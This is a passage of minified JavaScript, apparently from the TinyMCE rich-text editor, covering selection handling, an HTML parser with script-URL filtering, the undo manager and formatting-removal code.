v(-1,c.getNode(!0),!1,!1);if(gs(c.getNode()))return v(-1,c.getNode(),!c.isAtEnd(),!1)}else{if(c=y(1,e),gs(c.getNode()))return v(1,c.getNode(),!c.isAtEnd(),!1);if(gs(c.getNode(!0)))return v(1,c.getNode(!0),!1,!1)}return null}return i=e.startContainer,a=e.startOffset,u=e.endOffset,3===i.nodeType&&0===a&&Dv(i.parentNode)&&(i=i.parentNode,a=m.nodeIndex(i),i=i.parentNode),1!==i.nodeType?null:(u===a+1&&i===e.endContainer&&(n=i.childNodes[a]),Dv(n)?(l=f=n.cloneNode(!0),(s=g.fire("ObjectSelected",{target:n,targetClone:l})).isDefaultPrevented()?null:(r=oa(ar.fromDom(g.getBody()),"#"+h).fold(function(){return d([])},function(e){return d([e.dom()])}),l=s.targetClone,0===r.length&&(r=d('<div data-mce-bogus="all" class="mce-offscreen-selection"></div>').attr("id",h)).appendTo(g.getBody()),e=g.dom.createRng(),l===f&&fe.ie?(r.empty().append('<p style="font-size: 0" data-mce-bogus="all">\xa0</p>').append(l),e.setStartAfter(r[0].firstChild.firstChild),e.setEndAfter(l)):(r.empty().append("\xa0").append(l).append("\xa0"),e.setStart(r[0].firstChild,1),e.setEnd(r[0].lastChild,0)),r.css({top:m.getPos(n,g.getBody()).y}),r[0].focus(),(o=g.selection.getSel()).removeAllRanges(),o.addRange(e),z(Qi(ar.fromDom(g.getBody()),"*[data-mce-selected]"),function(e){Sr(e,"data-mce-selected")}),n.setAttribute("data-mce-selected","1"),p=n,C(),e)):null)},f=function(){p&&(p.removeAttribute("data-mce-selected"),oa(ar.fromDom(g.getBody()),"#"+h).each(Ui),p=null),oa(ar.fromDom(g.getBody()),"#"+h).each(Ui),p=null},C=function(){o.hide()};return fe.ceFalse&&(function(){g.on("mouseup",function(e){var t=s();t.collapsed&&ph(g,e.clientX,e.clientY)&&u(lg(g,t,!1))}),g.on("click",function(e){var t;(t=Ov(g,e.target))&&(Dv(t)&&(e.preventDefault(),g.focus()),Rv(t)&&g.dom.isChildOf(t,g.selection.getNode())&&f())}),g.on("blur NewBlock",function(){f()}),g.on("ResizeWindow FullscreenStateChanged",function(){return o.reposition()});var n,r,i=function(e,t){var n,r,o=g.dom.getParent(e,g.dom.isBlock),i=g.dom.getParent(t,g.dom.isBlock);return!(!o||!g.dom.isChildOf(o,i)||!1!==Dv(Ov(g,o)))||o&&(n=o,r=i,!(g.dom.getParent(n,g.dom.isBlock)===g.dom.getParent(r,g.dom.isBlock)))&&function(e){var t=Js(e);if(!e.firstChild)return!1;var n=_u.before(e.firstChild),r=t.next(n);return r&&!Lf(r)&&!Ff(r)}(o)};r=!1,(n=g).on("touchstart",function(){r=!1}),n.on("touchmove",function(){r=!0}),n.on("touchend",function(e){var t=Ov(n,e.target);Dv(t)&&(r||(e.preventDefault(),l(cg(n,t))))}),g.on("mousedown",function(e){var t,n=e.target;if((n===a||"HTML"===n.nodeName||g.dom.isChildOf(n,a))&&!1!==ph(g,e.clientX,e.clientY))if(t=Ov(g,n))Dv(t)?(e.preventDefault(),l(cg(g,t))):(f(),Rv(t)&&e.shiftKey||yv(e.clientX,e.clientY,g.selection.getRng())||(C(),g.selection.placeCaretAt(e.clientX,e.clientY)));else if(!1===gs(n)){f(),C();var r=vv(a,e.clientX,e.clientY);if(r&&!i(e.target,r.node)){e.preventDefault();var o=v(1,r.node,r.before,!1);g.getBody().focus(),u(o)}}}),g.on("keypress",function(e){rv.modifierPressed(e)||(e.keyCode,Dv(g.selection.getNode())&&e.preventDefault())}),g.on("getSelectionRange",function(e){var t=e.range;if(p){if(!p.parentNode)return void(p=null);(t=t.cloneRange()).selectNode(p),e.range=t}}),g.on("setSelectionRange",function(e){e.range=c(e.range);var t=l(e.range,e.forward);t&&(e.range=t)}),g.on("AfterSetSelectionRange",function(e){var t,n=e.range;b(n)||"mcepastebin"===n.startContainer.parentNode.id||C(),t=n.startContainer.parentNode,g.dom.hasClass(t,"mce-offscreen-selection")||f()}),g.on("copy",function(e){var t,n=e.clipboardData;if(!e.isDefaultPrevented()&&e.clipboardData&&!fe.ie){var r=(t=g.dom.get(h))?t.getElementsByTagName("*")[0]:t;r&&(e.preventDefault(),n.clearData(),n.setData("text/html",r.outerHTML),n.setData("text/plain",r.outerText))}}),_v(g),Av(g)}(),e=g.contentStyles,t=".mce-content-body",e.push(o.getCss()),e.push(t+" .mce-offscreen-selection {position: absolute;left: -9999999999px;max-width: 1000000px;}"+t+" *[contentEditable=false] {cursor: default;}"+t+" *[contentEditable=true] {cursor: text;}")),{showCaret:v,showBlockCaretContainer:function(e){e.hasAttribute("data-mce-caret")&&(Pa(e),u(s()),g.selection.scrollIntoView(e[0]))},hideFakeCaret:C,destroy:function(){o.destroy(),p=null}}},Pv=function(e){for(var t=e;/<!--|--!?>/g.test(t);)t=t.replace(/<!--|--!?>/g,"");return t},Iv=function(e,t,n){var r,o,i,a,u=1;for(a=e.getShortEndedElements(),(i=/<([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\/|\s+)>/g).lastIndex=r=n;o=i.exec(t);){if(r=i.lastIndex,"/"===o[1])u--;else if(!o[1]){if(o[2]in a)continue;u++}if(0===u)break}return r},Lv=function(e,t){var n=e.exec(t);if(n){var r=n[1],o=n[2];return"string"==typeof r&&"data-mce-bogus"===r.toLowerCase()?o:null}return null};function Fv(z,U){void 0===U&&(U=di());var e=function(){};!1!==(z=z||{}).fix_self_closing&&(z.fix_self_closing=!0);var j=z.comment?z.comment:e,V=z.cdata?z.cdata:e,H=z.text?z.text:e,q=z.start?z.start:e,$=z.end?z.end:e,W=z.pi?z.pi:e,K=z.doctype?z.doctype:e;return{parse:function(e){var t,n,r,d,o,i,a,m,u,s,g,c,p,l,f,h,v,y,b,C,x,w,N,E,S,T,k,_,A,R=0,D=[],O=0,B=ti.decode,P=Xt.makeMap("src,href,data,background,formaction,poster,xlink:href"),I=/((java|vb)script|mhtml):/i,L=function(e){var t,n;for(t=D.length;t--&&D[t].name!==e;);if(0<=t){for(n=D.length-1;t<=n;n--)(e=D[n]).valid&&$(e.name);D.length=t}},F=function(e,t,n,r,o){var i,a,u,s,c;if(n=(t=t.toLowerCase())in g?t:B(n||r||o||""),p&&!m&&0==(0===(u=t).indexOf("data-")||0===u.indexOf("aria-"))){if(!(i=y[t])&&b){for(a=b.length;a--&&!(i=b[a]).pattern.test(t););-1===a&&(i=null)}if(!i)return;if(i.validValues&&!(n in i.validValues))return}if(P[t]&&!z.allow_script_urls){var l=n.replace(/[\s\u0000-\u001F]+/g,"");try{l=decodeURIComponent(l)}catch(f){l=unescape(l)}if(I.test(l))return;if(c=l,!(s=z).allow_html_data_urls&&(/^data:image\//i.test(c)?!1===s.allow_svg_data_urls&&/^data:image\/svg\+xml/i.test(c):/^data:/i.test(c)))return}m&&(t in P||0===t.indexOf("on"))||(d.map[t]=n,d.push({name:t,value:n}))};for(S=new RegExp("<(?:(?:!--([\\w\\W]*?)--!?>)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:!DOCTYPE([\\w\\W]*?)>)|(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|(?:\\/([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)>)|(?:([A-Za-z][A-Za-z0-9\\-_\\:\\.]*)((?:\\s+[^\"'>]+(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>]*))*|\\/|\\s+)>))","g"),T=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g,s=U.getShortEndedElements(),E=z.self_closing_elements||U.getSelfClosingElements(),g=U.getBoolAttrs(),p=z.validate,u=z.remove_internals,A=z.fix_self_closing,k=U.getSpecialElements(),N=e+">";t=S.exec(N);){if(R<t.index&&H(B(e.substr(R,t.index-R))),n=t[6])":"===(n=n.toLowerCase()).charAt(0)&&(n=n.substr(1)),L(n);else if(n=t[7]){if(t.index+t[0].length>e.length){H(B(e.substr(t.index))),R=t.index+t[0].length;continue}":"===(n=n.toLowerCase()).charAt(0)&&(n=n.substr(1)),c=n in s,A&&E[n]&&0<D.length&&D[D.length-1].name===n&&L(n);var M=Lv(T,t[8]);if(null!==M){if("all"===M){R=Iv(U,e,S.lastIndex),S.lastIndex=R;continue}f=!1}if(!p||(l=U.getElementRule(n))){if(f=!0,p&&(y=l.attributes,b=l.attributePatterns),(v=t[8])?((m=-1!==v.indexOf("data-mce-type"))&&u&&(f=!1),(d=[]).map={},v.replace(T,F)):(d=[]).map={},p&&!m){if(C=l.attributesRequired,x=l.attributesDefault,w=l.attributesForced,l.removeEmptyAttrs&&!d.length&&(f=!1),w)for(o=w.length;o--;)a=(h=w[o]).name,"{$uid}"===(_=h.value)&&(_="mce_"+O++),d.map[a]=_,d.push({name:a,value:_});if(x)for(o=x.length;o--;)(a=(h=x[o]).name)in d.map||("{$uid}"===(_=h.value)&&(_="mce_"+O++),d.map[a]=_,d.push({name:a,value:_}));if(C){for(o=C.length;o--&&!(C[o]in d.map););-1===o&&(f=!1)}if(h=d.map["data-mce-bogus"]){if("all"===h){R=Iv(U,e,S.lastIndex),S.lastIndex=R;continue}f=!1}}f&&q(n,d,c)}else f=!1;if(r=k[n]){r.lastIndex=R=t.index+t[0].length,(t=r.exec(e))?(f&&(i=e.substr(R,t.index-R)),R=t.index+t[0].length):(i=e.substr(R),R=e.length),f&&(0<i.length&&H(i,!0),$(n)),S.lastIndex=R;continue}c||(v&&v.indexOf("/")===v.length-1?f&&$(n):D.push({name:n,valid:f}))}else(n=t[1])?(">"===n.charAt(0)&&(n=" "+n),z.allow_conditional_comments||"[if"!==n.substr(0,3).toLowerCase()||(n=" "+n),j(n)):(n=t[2])?V(Pv(n)):(n=t[3])?K(n):(n=t[4])&&W(n,t[5]);R=t.index+t[0].length}for(R<e.length&&H(B(e.substr(R))),o=D.length-1;0<=o;o--)(n=D[o]).valid&&$(n.name)}}}(Fv||(Fv={})).findEndTag=Iv;var Mv=Fv,zv=function(e,t){var n,r,o,i,a,u,s,c,l=t,f=/<(\w+) [^>]*data-mce-bogus="all"[^>]*>/g,d=e.schema;for(u=e.getTempAttrs(),s=l,c=new RegExp(["\\s?("+u.join("|")+')="[^"]+"'].join("|"),"gi"),l=s.replace(c,""),a=d.getShortEndedElements();i=f.exec(l);)r=f.lastIndex,o=i[0].length,n=a[i[1]]?r:Mv.findEndTag(d,l,r),l=l.substring(0,r-o)+l.substring(n),f.lastIndex=r-o;return wa(l)},Uv={trimExternal:zv,trimInternal:zv},jv=0,Vv=2,Hv=1,qv=function(g,p){var e=g.length+p.length+2,h=new Array(e),v=new Array(e),c=function(e,t,n,r,o){var i=l(e,t,n,r);if(null===i||i.start===t&&i.diag===t-r||i.end===e&&i.diag===e-n)for(var a=e,u=n;a<t||u<r;)a<t&&u<r&&g[a]===p[u]?(o.push([0,g[a]]),++a,++u):r-n<t-e?(o.push([2,g[a]]),++a):(o.push([1,p[u]]),++u);else{c(e,i.start,n,i.start-i.diag,o);for(var s=i.start;s<i.end;++s)o.push([0,g[s]]);c(i.end,t,i.end-i.diag,r,o)}},y=function(e,t,n,r){for(var o=e;o-t<r&&o<n&&g[o]===p[o-t];)++o;return{start:e,end:o,diag:t}},l=function(e,t,n,r){var o=t-e,i=r-n;if(0===o||0===i)return null;var a,u,s,c,l,f=o-i,d=i+o,m=(d%2==0?d:d+1)/2;for(h[1+m]=e,v[1+m]=t+1,a=0;a<=m;++a){for(u=-a;u<=a;u+=2){for(s=u+m,u===-a||u!==a&&h[s-1]<h[s+1]?h[s]=h[s+1]:h[s]=h[s-1]+1,l=(c=h[s])-e+n-u;c<t&&l<r&&g[c]===p[l];)h[s]=++c,++l;if(f%2!=0&&f-a<=u&&u<=f+a&&v[s-f]<=h[s])return y(v[s-f],u+e-n,t,r)}for(u=f-a;u<=f+a;u+=2){for(s=u+m-f,u===f-a||u!==f+a&&v[s+1]<=v[s-1]?v[s]=v[s+1]-1:v[s]=v[s-1],l=(c=v[s]-1)-e+n-u;e<=c&&n<=l&&g[c]===p[l];)v[s]=c--,l--;if(f%2==0&&-a<=u&&u<=a&&v[s]<=h[s+f])return y(v[s],u+e-n,t,r)}}},t=[];return c(0,g.length,0,p.length,t),t},$v=function(e){return jo.isElement(e)?e.outerHTML:jo.isText(e)?ti.encodeRaw(e.data,!1):jo.isComment(e)?"\x3c!--"+e.data+"--\x3e":""},Wv=function(e,t,n){var r=function(e){var t,n,r;for(r=V.document.createElement("div"),t=V.document.createDocumentFragment(),e&&(r.innerHTML=e);n=r.firstChild;)t.appendChild(n);return t}(t);if(e.hasChildNodes()&&n<e.childNodes.length){var o=e.childNodes[n];o.parentNode.insertBefore(r,o)}else e.appendChild(r)},Kv=function(e){return U(W(te(e.childNodes),$v),function(e){return 0<e.length})},Xv=function(e,t){var n,r,o,i=W(te(t.childNodes),$v);return n=qv(i,e),r=t,o=0,z(n,function(e){e[0]===jv?o++:e[0]===Hv?(Wv(r,e[1],o),o++):e[0]===Vv&&function(e,t){if(e.hasChildNodes()&&t<e.childNodes.length){var n=e.childNodes[t];n.parentNode.removeChild(n)}}(r,o)}),t},Yv=Hi(_.none()),Gv=function(e){return{type:"fragmented",fragments:e,content:"",bookmark:null,beforeBookmark:null}},Jv=function(e){return{type:"complete",fragments:null,content:e,bookmark:null,beforeBookmark:null}},Qv=function(e){return"fragmented"===e.type?e.fragments.join(""):e.content},Zv=function(e){var t=ar.fromTag("body",Yv.get().getOrThunk(function(){var e=V.document.implementation.createHTMLDocument("undo");return Yv.set(_.some(e)),e}));return ya(t,Qv(e)),z(Qi(t,"*[data-mce-bogus]"),ji),t.dom().innerHTML},ey=function(n){var e,t,r;return e=Kv(n.getBody()),-1!==(t=(r=G(e,function(e){var t=Uv.trimInternal(n.serializer,e);return 0<t.length?[t]:[]})).join("")).indexOf("</iframe>")?Gv(r):Jv(t)},ty=function(e,t,n){"fragmented"===t.type?Xv(t.fragments,e.getBody()):e.setContent(t.content,{format:"raw"}),e.selection.moveToBookmark(n?t.beforeBookmark:t.bookmark)},ny=function(e,t){return!(!e||!t)&&(r=t,Qv(e)===Qv(r)||(n=t,Zv(e)===Zv(n)));var n,r};function ry(u){var s,r,o=this,c=0,l=[],t=0,f=function(){return 0===t},i=function(e){f()&&(o.typing=e)},d=function(e){u.setDirty(e)},a=function(e){i(!1),o.add({},e)},n=function(){o.typing&&(i(!1),o.add())};return u.on("init",function(){o.add()}),u.on("BeforeExecCommand",function(e){var t=e.command;"Undo"!==t&&"Redo"!==t&&"mceRepaint"!==t&&(n(),o.beforeChange())}),u.on("ExecCommand",function(e){var t=e.command;"Undo"!==t&&"Redo"!==t&&"mceRepaint"!==t&&a(e)}),u.on("ObjectResizeStart Cut",function(){o.beforeChange()}),u.on("SaveContent ObjectResized blur",a),u.on("DragEnd",a),u.on("KeyUp",function(e){var t=e.keyCode;e.isDefaultPrevented()||((33<=t&&t<=36||37<=t&&t<=40||45===t||e.ctrlKey)&&(a(),u.nodeChanged()),46!==t&&8!==t||u.nodeChanged(),r&&o.typing&&!1===ny(ey(u),l[0])&&(!1===u.isDirty()&&(d(!0),u.fire("change",{level:l[0],lastLevel:null})),u.fire("TypingUndo"),r=!1,u.nodeChanged()))}),u.on("KeyDown",function(e){var t=e.keyCode;if(!e.isDefaultPrevented())if(33<=t&&t<=36||37<=t&&t<=40||45===t)o.typing&&a(e);else{var n=e.ctrlKey&&!e.altKey||e.metaKey;!(t<16||20<t)||224===t||91===t||o.typing||n||(o.beforeChange(),i(!0),o.add({},e),r=!0)}}),u.on("MouseDown",function(e){o.typing&&a(e)}),u.on("input",function(e){var t;e.inputType&&("insertReplacementText"===e.inputType||"insertText"===(t=e).inputType&&null===t.data)&&a(e)}),u.addShortcut("meta+z","","Undo"),u.addShortcut("meta+y,meta+shift+z","","Redo"),u.on("AddUndo Undo Redo ClearUndos",function(e){e.isDefaultPrevented()||u.nodeChanged()}),o={data:l,typing:!1,beforeChange:function(){f()&&(s=Yu.getUndoBookmark(u.selection))},add:function(e,t){var n,r,o,i=u.settings;if(o=ey(u),e=e||{},e=Xt.extend(e,o),!1===f()||u.removed)return null;if(r=l[c],u.fire("BeforeAddUndo",{level:e,lastLevel:r,originalEvent:t}).isDefaultPrevented())return null;if(r&&ny(r,e))return null;if(l[c]&&(l[c].beforeBookmark=s),i.custom_undo_redo_levels&&l.length>i.custom_undo_redo_levels){for(n=0;n<l.length-1;n++)l[n]=l[n+1];l.length--,c=l.length}e.bookmark=Yu.getUndoBookmark(u.selection),c<l.length-1&&(l.length=c+1),l.push(e),c=l.length-1;var a={level:e,lastLevel:r,originalEvent:t};return u.fire("AddUndo",a),0<c&&(d(!0),u.fire("change",a)),e},undo:function(){var e;return o.typing&&(o.add(),o.typing=!1,i(!1)),0<c&&(e=l[--c],ty(u,e,!0),d(!0),u.fire("undo",{level:e})),e},redo:function(){var e;return c<l.length-1&&(e=l[++c],ty(u,e,!1),d(!0),u.fire("redo",{level:e})),e},clear:function(){l=[],c=0,o.typing=!1,o.data=l,u.fire("ClearUndos")},hasUndo:function(){return 0<c||o.typing&&l[0]&&!ny(ey(u),l[0])},hasRedo:function(){return c<l.length-1&&!o.typing},transact:function(e){return n(),o.beforeChange(),o.ignore(e),o.add()},ignore:function(e){try{t++,e()}finally{t--}},extra:function(e,t){var n,r;o.transact(e)&&(r=l[c].bookmark,n=l[c-1],ty(u,n,!0),o.transact(t)&&(l[c-1].beforeBookmark=r))}}}var oy,iy,ay={},uy=Ht.filter,sy=Ht.each;iy=function(e){var t,n,r=e.selection.getRng();t=jo.matchNodeNames("pre"),r.collapsed||(n=e.selection.getSelectedBlocks(),sy(uy(uy(n,t),function(e){return t(e.previousSibling)&&-1!==Ht.indexOf(n,e.previousSibling)}),function(e){var t,n;t=e.previousSibling,gn(n=e).remove(),gn(t).append("<br><br>").append(n.childNodes)}))},ay[oy="pre"]||(ay[oy]=[]),ay[oy].push(iy);var cy=function(e,t){sy(ay[e],function(e){e(t)})},ly=/^(src|href|style)$/,fy=Xt.each,dy=wc.isEq,my=function(e,t,n){return e.isChildOf(t,n)&&t!==n&&!e.isBlock(n)},gy=function(e,t,n){var r,o,i;return r=t[n?"startContainer":"endContainer"],o=t[n?"startOffset":"endOffset"],jo.isElement(r)&&(i=r.childNodes.length-1,!n&&o&&o--,r=r.childNodes[i<o?i:o]),jo.isText(r)&&n&&o>=r.nodeValue.length&&(r=new go(r,e.getBody()).next()||r),jo.isText(r)&&!n&&0===o&&(r=new go(r,e.getBody()).prev()||r),r},py=function(e,t,n,r){var o=e.create(n,r);return t.parentNode.insertBefore(o,t),o.appendChild(t),o},hy=function(e,t,n,r,o){var i=ar.fromDom(t),a=ar.fromDom(e.create(r,o)),u=n?Wr(i):$r(i);return Mi(a,u),n?(Pi(i,a),Li(a,i)):(Ii(i,a),Fi(a,i)),a.dom()},vy=function(e,t,n,r){return!(t=wc.getNonWhiteSpaceSibling(t,n,r))||"BR"===t.nodeName||e.isBlock(t)},yy=function(e,n,r,o,i){var t,a,u,s,c,l,f,d,m,g,p,h,v,y,b=e.dom;if(c=b,!(dy(l=o,(f=n).inline)||dy(l,f.block)||(f.selector?jo.isElement(l)&&c.is(l,f.selector):void 0)||(s=o,n.links&&"A"===s.tagName)))return!1;if("all"!==n.remove)for(fy(n.styles,function(e,t){e=wc.normalizeStyleValue(b,wc.replaceVars(e,r),t),"number"==typeof t&&(t=e,i=0),(n.remove_similar||!i||dy(wc.getStyle(b,i,t),e))&&b.setStyle(o,t,""),u=1}),u&&""===b.getAttrib(o,"style")&&(o.removeAttribute("style"),o.removeAttribute("data-mce-style")),fy(n.attributes,function(e,t){var n;if(e=wc.replaceVars(e,r),"number"==typeof t&&(t=e,i=0),!i||dy(b.getAttrib(i,t),e)){if("class"===t&&(e=b.getAttrib(o,t))&&(n="",fy(e.split(/\s+/),function(e){/mce\-\w+/.test(e)&&(n+=(n?" ":"")+e)}),n))return void b.setAttrib(o,t,n);"class"===t&&o.removeAttribute("className"),ly.test(t)&&o.removeAttribute("data-mce-"+t),o.removeAttribute(t)}}),fy(n.classes,function(e){e=wc.replaceVars(e,r),i&&!b.hasClass(i,e)||b.removeClass(o,e)}),a=b.getAttribs(o),t=0;t<a.length;t++){var C=a[t].nodeName;if(0!==C.indexOf("_")&&0!==C.indexOf("data-"))return!1}return"none"!==n.remove?(d=e,g=n,h=(m=o).parentNode,v=d.dom,y=d.settings.forced_root_block,g.block&&(y?h===v.getRoot()&&(g.list_block&&dy(m,g.list_block)||fy(Xt.grep(m.childNodes),function(e){wc.isValid(d,y,e.nodeName.toLowerCase())?p?p.appendChild(e):(p=py(v,e,y),v.setAttribs(p,d.settings.forced_root_block_attrs)):p=0})):v.isBlock(m)&&!v.isBlock(h)&&(vy(v,m,!1)||vy(v,m.firstChild,!0,1)||m.insertBefore(v.create("br"),m.firstChild),vy(v,m,!0)||vy(v,m.lastChild,!1,1)||m.appendChild(v.create("br")))),g.selector&&g.inline&&!dy(g.inline,m)||v.remove(m,1),!0):void 0},by=yy,Cy=function(s,c,l,e,f){var t,n,d=s.formatter.get(c),m=d[0],a=!0,u=s.dom,r=s.selection,i=function(e){var n,t,r,o,i,a,u=(n=s,t=e,r=c,o=l,i=f,fy(wc.getParents(n.dom,t.parentNode).reverse(),function(e){var t;a||"_start"===e.id||"_end"===e.id||(t=Mm.matchNode(n,e,r,o,i))&&!1!==t.split&&(a=e)}),a);return function(e,t,n,r,o,i,a,u){var s,c,l,f,d,m,g=e.dom;if(n){for(m=n.parentNode,s=r.parentNode;s&&s!==m;s=s.parentNode){for(c=g.clone(s,!1),d=0;d<t.length;d++)if(yy(e,t[d],u,c,c)){c=0;break}c&&(l&&c.appendChild(l),f||(f=c),l=c)}!i||a.mixed&&g.isBlock(n)||(r=g.split(n,r)),l&&(o.parentNode.insertBefore(l,o),f.appendChild(o))}return r}(s,d,u,e,e,!0,m,l)},g=function(e){var t,n,r,o,i;if(jo.isElement(e)&&u.getContentEditable(e)&&(o=a,a="true"===u.getContentEditable(e),i=!0),t=Xt.grep(e.childNodes),a&&!i)for(n=0,r=d.length;n<r&&!yy(s,d[n],l,e,e);n++);if(m.deep&&t.length){for(n=0,r=t.length;n<r;n++)g(t[n]);i&&(a=o)}},p=function(e){var t,n=u.get(e?"_start":"_end"),r=n[e?"firstChild":"lastChild"];return yc(t=r)&&jo.isElement(t)&&("_start"===t.id||"_end"===t.id)&&(r=r[e?"firstChild":"lastChild"]),jo.isText(r)&&0===r.data.length&&(r=e?n.previousSibling||n.nextSibling:n.nextSibling||n.previousSibling),u.remove(n,!0),r},o=function(e){var t,n,r=e.commonAncestorContainer;if(e=Pc(s,e,d,!0),m.split){if(e=Um(e),(t=gy(s,e,!0))!==(n=gy(s,e))){if(/^(TR|TH|TD)$/.test(t.nodeName)&&t.firstChild&&(t="TR"===t.nodeName?t.firstChild.firstChild||t:t.firstChild||t),r&&/^T(HEAD|BODY|FOOT|R)$/.test(r.nodeName)&&/^(TH|TD)$/.test(n.nodeName)&&n.firstChild&&(n=n.firstChild||n),my(u,t,n)){var o=_.from(t.firstChild).getOr(t);return i(hy(u,o,!0,"span",{id:"_start","data-mce-type":"bookmark"})),void p(!0)}if(my(u,n,t))return o=_.from(n.lastChild).getOr(n),i(hy(u,o,!1,"span",{id:"_end","data-mce-type":"bookmark"})),void p(!1);t=py(u,t,"span",{id:"_start","data-mce-type":"bookmark"}),n=py(u,n,"span",{id:"_end","data-mce-type":"bookmark"}),i(t),i(n),t=p(!0),n=p()}else t=n=i(t);e.startContainer=t.parentNode?t.parentNode:t,e.startOffset=u.nodeIndex(t),e.endContainer=n.parentNode?n.parentNode:n,e.endOffset=u.nodeIndex(n)+1}Lc(u,e,function(e){fy(e,function(e){g(e),jo.isElement(e)&&"underline"===s.dom.getStyle(e,"text-decoration")&&e.parentNode&&"underline"===wc.getTextDecoration(u,e.parentNode)&&yy(s,{deep:!1,exact:!0,inline:"span",styles:{textDecoration:"underline"}},null,e)})})};if(e)e.nodeType?((n=u.createRng()).setStartBefore(e),n.setEndAfter(e),o(n)):o(e);else if("false"!==u.getContentEditable(r.getNode()))r.isCollapsed()&&m.inline&&!u.select("td[data-mce-selected],th[data-mce-selected]").length?function(e,t,n,r){var o,i,a,u,s,c,l,f=e.dom,d=e.selection,m=[],g=d.getRng();for(o=g.startContainer,i=g.startOffset,3===(s=o).nodeType&&(i!==o.nodeValue.length&&(u=!0),s=s.parentNode);s;){if(Mm.matchNode(e,s,t,n,r)){c=s;break}s.nextSibling&&(u=!0),m.push(s),s=s.parentNode}if(c)if(u){a=d.getBookmark(),g.collapse(!0);var p=Pc(e,g,e.formatter.get(t),!0);p=Um(p),e.formatter.remove(t,n,p),d.moveToBookmark(a)}else{l=Qu(e.getBody(),c);var h=$m(!1).dom(),v=Gm(m,h);Xm(e,h,l||c),Wm(e,l,!1),d.setCursorLocation(v,1),f.isEmpty(c)&&f.remove(c)}}(s,c,l,f):(t=Yu.getPersistentBookmark(s.selection,!0),o(r.getRng()),r.moveToBookmark(t),m.inline&&Mm.match(s,c,l,r.getStart())&&wc.moveStart(u,r,r.getRng()),s.nodeChanged());else{e=r.getNode();for(var h=0,v=d.length;h<v&&(!d[h].ceFalseOverride||!yy(s,d[h],l,e,e));h++);}},xy=Xt.each,wy=function(e){return e&&1===e.nodeType&&!yc(e)&&!Ju(e)&&!jo.isBogus(e)},Ny=function(e,t){var n;for(n=e;n;n=n[t]){if(3===n.nodeType&&0!==n.nodeValue.length)return e;if(1===n.nodeType&&!yc(n))return n}return e},Ey=function(e,t,n){var r,o,i=new el(e);if(t&&n&&(t=Ny(t,"previousSibling"),n=Ny(n,"nextSibling"),i.compare(t,n))){for(r=t.nextSibling;r&&r!==n;)r=(o=r).nextSibling,t.appendChild(o);return e.remove(n),Xt.each(Xt.grep(n.childNodes),function(e){t.appendChild(e)}),t}return n},Sy=function(e,t,n){xy(e.childNodes,function(e){wy(e)&&(t(e)&&n(e),e.hasChildNodes()&&Sy(e,t,n))})},Ty=function(n,e){return d(function(e,t){return!(!t||!wc.getStyle(n,t,e))},e)},ky=function(r,e,t){return d(function(e,t,n){r.setStyle(n,e,t),""===n.getAttribute("style")&&n.removeAttribute("style"),_y(r,n)},e,t)},_y=function(e,t){"SPAN"===t.nodeName&&0===e.getAttribs(t).length&&e.remove(t,!0)},Ay=function(e,t){var n;1===t.nodeType&&t.parentNode&&1===t.parentNode.nodeType&&(n=wc.getTextDecoration(e,t.parentNode),e.getStyle(t,"color")&&n?e.setStyle(t,"text-decoration",n):e.getStyle(t,"text-decoration")===n&&e.setStyle(t,"text-decoration",null))},Ry=function(n,e,r,o){xy(e,function(t){xy(n.dom.select(t.inline,o),function(e){wy(e)&&by(n,t,r,e,t.exact?e:null)}),function(r,e,t){if(e.clear_child_styles){var n=e.links?"*:not(a)":"*";xy(r.select(n,t),function(n){wy(n)&&xy(e.styles,function(e,t){r.setStyle(n,t,"")})})}}(n.dom,t,o)})},Dy=function(e,t,n,r){(t.styles.color||t.styles.textDecoration)&&(Xt.walk(r,d(Ay,e),"childNodes"),Ay(e,r))},Oy=function(e,t,n,r){t.styles&&t.styles.backgroundColor&&Sy(r,Ty(e,"fontSize"),ky(e,"backgroundColor",wc.replaceVars(t.styles.backgroundColor,n)))},By=function(e,t,n,r){"sub"!==t.inline&&"sup"!==t.inline||(Sy(r,Ty(e,"fontSize"),ky(e,"fontSize","")),e.remove(e.select("sup"===t.inline?"sub":"sup",r),!0))},Py=function(e,t,n,r){r&&!1!==t.merge_siblings&&(r=Ey(e,wc.getNonWhiteSpaceSibling(r),r),r=Ey(e,r,wc.getNonWhiteSpaceSibling(r,!0)))},Iy=function(t,n,r,o,i){Mm.matchNode(t,i.parentNode,r,o)&&by(t,n,o,i)||n.merge_with_parents&&t.dom.getParent(i.parentNode,function(e){if(Mm.matchNode(t,e,r,o))return by(t,n,o,i),!0})},Ly=Xt.each,Fy=function(g,p,h,r){var e,t,v=g.formatter.get(p),y=v[0],o=!r&&g.selection.isCollapsed(),i=g.dom,n=g.selection,b=function(n,e){if(e=e||y,n){if(e.onformat&&e.onformat(n,e,h,r),Ly(e.styles,function(e,t){i.setStyle(n,t,wc.replaceVars(e,h))}),e.styles){var t=i.getAttrib(n,"style");t&&n.setAttribute("data-mce-style",t)}Ly(e.attributes,function(e,t){i.setAttrib(n,t,wc.replaceVars(e,h))}),Ly(e.classes,function(e){e=wc.replaceVars(e,h),i.hasClass(n,e)||i.addClass(n,e)})}},C=function(e,t){var n=!1;return!!y.selector&&(Ly(e,function(e){if(!("collapsed"in e&&e.collapsed!==o))return i.is(t,e.selector)&&!Ju(t)?(b(t,e),!(n=!0)):void 0}),n)},a=function(s,e,t,c){var l,f,d=[],m=!0;l=y.inline||y.block,f=s.create(l),b(f),Lc(s,e,function(e){var a,u=function(e){var t,n,r,o;if(o=m,t=e.nodeName.toLowerCase(),n=e.parentNode.nodeName.toLowerCase(),1===e.nodeType&&s.getContentEditable(e)&&(o=m,m="true"===s.getContentEditable(e),r=!0),wc.isEq(t,"br"))return a=0,void(y.block&&s.remove(e));if(y.wrapper&&Mm.matchNode(g,e,p,h))a=0;else{if(m&&!r&&y.block&&!y.wrapper&&wc.isTextBlock(g,t)&&wc.isValid(g,n,l))return e=s.rename(e,l),b(e),d.push(e),void(a=0);if(y.selector){var i=C(v,e);if(!y.inline||i)return 